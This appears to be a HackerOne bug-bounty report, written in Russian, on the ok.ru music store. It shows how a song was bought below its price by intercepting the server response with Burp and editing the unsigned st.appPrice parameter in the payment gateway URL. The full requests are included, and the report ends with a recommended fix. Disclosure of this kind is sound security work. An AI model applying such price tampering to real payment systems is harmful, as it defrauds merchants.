ok.ru: Покупка песни дешевле, чем она стоит.

2015-07-23T19:58:28
ID H1:78219
Type hackerone
Reporter 4lemon
Modified 2016-04-29T09:59:04

Description

Итак, часть песен в приложении можно купить. Нажимая на кнопку купить, происходит запрос к серверу (обрезано, для удобства): >GET /isDownloaded;jsessionid=DZSUq1yT_UMNFNcYk5-mZ10DGJbUCoNYFHRUcNNwINHoSrDkkkf4gInosiPimoqGaysNvWs7GV7fnOMGgfsbCA.hHaqWq9PyS8b9PmEoYf_cA?tid=90920917758231

В ответ получаем: >{"title":"Шахерезада","trackId":90920917758231,"price":10,"copyrightOwnerName":"Digital Project","isBought":false,"copyrightOwnerId":22,"image":null,"artist":"Натали"}

Видно что песня, ещё не куплена: "isBought":false И что цена у неё: "price":10 Настроив автоматическую замену получаемого контента (в burp это довольно легко сделать, см, скриншот) меняем цену получаемую от сервера на 1. Нажимаем, "Купить". Происходит открытие платёжного гейта(запрос в бэкграунде): >https://paymentnew.ok.ru/dk?st.cmd=richPayment&st.reqId=-lqbcaRr5Rw-lvBTEc_nro7Ema4SvW7OY1hv-5Ce_LFQdsbKnrYg4HIxuoCH0UvKY35Q4ndQdhRXA_Z3x7ummPimUcD-g664F4cI5Wj7kEd-4vrFEIGUpnDZPtv3SJNA&st.timestamp=1437680542328&st.appName=0L_QtdGB0L3RjyDQndCw0YLQsNC70LggLSDQqNCw0YXQtdGA0LXQt9Cw0LTQsA**&st.appCode=90920917758231&st.currency=OK&st.appPrice=1&st.callback=true&st.srv=22

Уязвим параметр st.appPrice, его изменение в урле никак не влияет не целостность запроса (поменяем на 2): > https://paymentnew.ok.ru/dk?st.cmd=richPayment&st.reqId=-lqbcaRr5Rw-lvBTEc_nro7Ema4SvW7OY1hv-5Ce_LFQdsbKnrYg4HIxuoCH0UvKY35Q4ndQdhRXA_Z3x7ummPimUcD-g664F4cI5Wj7kEd-4vrFEIGUpnDZPtv3SJNA&st.timestamp=1437680542328&st.appName=0L_QtdGB0L3RjyDQndCw0YLQsNC70LggLSDQqNCw0YXQtdGA0LXQt9Cw0LTQsA**&st.appCode=90920917758231&st.currency=OK&st.appPrice=2&st.callback=true&st.srv=22

Жмём перейти к оплате - я оплачивал вебманями, но не думаю, что это имеет значения. Покупаем 2 Ок за 2 рубля - видим в нотификации "Вы получили 2 OK." И в итоге в разделе "Музыка" в подразделе "Мои покупки" искомая песня за 2 ОК.

Что явно влияет на целостность приложения с финансовой точки зрения. Параметр st.appPrice должен: - входить в параметры которые используются для подписи запроса. - и проверяться на стороне сервера на соответствие запрошенному продукту.